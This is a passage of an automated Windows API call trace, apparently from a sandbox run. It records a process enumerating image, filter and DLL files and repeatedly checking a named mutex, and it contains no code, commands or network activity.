lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.826] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.826] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.826] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.826] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.826] GlobalUnlock (hMem=0x44000c) returned 0 [0058.826] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.826] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.826] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.826] GlobalUnlock (hMem=0x44000c) returned 0 [0058.826] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.826] GlobalUnlock (hMem=0x440004) returned 0 [0058.826] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.826] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.826] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.826] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.826] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.826] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.826] GlobalUnlock (hMem=0x440004) returned 0 [0058.826] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.826] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.826] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.826] GlobalUnlock (hMem=0x440004) returned 0 [0058.827] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.827] GlobalUnlock (hMem=0x44000c) returned 0 [0058.827] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.827] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.827] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.827] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.827] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.827] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.827] GlobalUnlock (hMem=0x44000c) returned 0 [0058.827] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.827] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.827] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.827] GlobalUnlock (hMem=0x44000c) returned 0 [0058.827] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.827] GlobalUnlock (hMem=0x440004) returned 0 [0058.827] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.827] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.827] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.827] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.827] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.827] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.827] GlobalUnlock (hMem=0x440004) returned 0 [0058.827] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.827] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.827] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.827] GlobalUnlock (hMem=0x440004) returned 0 [0058.827] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.827] GlobalUnlock (hMem=0x44000c) returned 0 [0058.827] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.828] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.828] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.828] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.828] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.828] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.828] GlobalUnlock (hMem=0x44000c) returned 0 [0058.828] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.828] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.828] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.828] GlobalUnlock (hMem=0x44000c) returned 0 [0058.828] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.828] GlobalUnlock (hMem=0x440004) returned 0 [0058.828] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.828] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.828] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.828] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.828] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.828] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.828] GlobalUnlock (hMem=0x440004) returned 0 [0058.828] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.828] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.828] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.828] GlobalUnlock (hMem=0x440004) returned 0 [0058.828] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.828] GlobalUnlock (hMem=0x44000c) returned 0 [0058.828] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.828] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0058.828] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.828] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.829] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.829] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.829] GlobalUnlock (hMem=0x44000c) returned 0 [0058.829] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.829] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.829] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.829] GlobalUnlock (hMem=0x44000c) returned 0 [0058.829] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.829] GlobalUnlock (hMem=0x440004) returned 0 [0058.829] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.829] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0058.829] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.829] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.829] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.829] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.829] GlobalUnlock (hMem=0x440004) returned 0 [0058.829] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.829] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.829] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.829] GlobalUnlock (hMem=0x440004) returned 0 [0058.829] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.829] GlobalUnlock (hMem=0x44000c) returned 0 [0058.829] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.829] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0058.829] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.829] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.829] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.829] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.829] GlobalUnlock (hMem=0x44000c) returned 0 [0058.830] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.830] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.830] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.830] GlobalUnlock (hMem=0x44000c) returned 0 [0058.830] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.830] GlobalUnlock (hMem=0x440004) returned 0 [0058.856] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.857] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0058.857] GetLastError () returned 0x12 [0058.857] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.857] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0058.857] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.857] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.857] GlobalLock (hMem=0x440004) returned 0x550170 [0058.857] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.857] GlobalUnlock (hMem=0x440004) returned 0 [0058.857] GlobalLock (hMem=0x440004) returned 0x550170 [0058.857] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.857] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.857] GlobalUnlock (hMem=0x440004) returned 0 [0058.857] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.857] GlobalUnlock (hMem=0x44000c) returned 0 [0058.857] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.858] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0058.858] GetLastError () returned 0x12 [0058.858] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0058.858] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0058.858] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.858] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.858] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.858] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.858] GlobalUnlock (hMem=0x44000c) returned 0 [0058.858] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.858] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.858] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.858] GlobalUnlock (hMem=0x44000c) returned 0 [0058.858] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.858] GlobalUnlock (hMem=0x440004) returned 0 [0058.858] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.859] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0058.859] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.859] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.859] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.859] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.859] GlobalUnlock (hMem=0x440004) returned 0 [0058.859] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.859] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.859] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.859] GlobalUnlock (hMem=0x440004) returned 0 [0058.859] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.859] GlobalUnlock (hMem=0x44000c) returned 0 [0058.859] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.859] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0058.859] GetLastError () returned 0x12 [0058.859] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0058.859] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0058.859] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.860] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.860] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.860] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.860] GlobalUnlock (hMem=0x44000c) returned 0 [0058.860] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.860] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.860] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.860] GlobalUnlock (hMem=0x44000c) returned 0 [0058.860] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.860] GlobalUnlock (hMem=0x440004) returned 0 [0058.860] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.860] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0058.860] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.860] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.861] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.861] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.861] GlobalUnlock (hMem=0x440004) returned 0 [0058.861] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.867] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.867] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.867] GlobalUnlock (hMem=0x440004) returned 0 [0058.867] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.867] GlobalUnlock (hMem=0x44000c) returned 0 [0058.867] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.867] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0058.867] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.867] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.867] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.867] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.867] GlobalUnlock (hMem=0x44000c) returned 0 [0058.867] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.867] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.867] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.867] GlobalUnlock (hMem=0x44000c) returned 0 [0058.868] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.868] GlobalUnlock (hMem=0x440004) returned 0 [0058.868] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.868] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0058.868] GetLastError () returned 0x12 [0058.868] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0058.868] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0058.868] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0058.868] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0058.868] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.868] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.868] GlobalUnlock (hMem=0x440004) returned 0 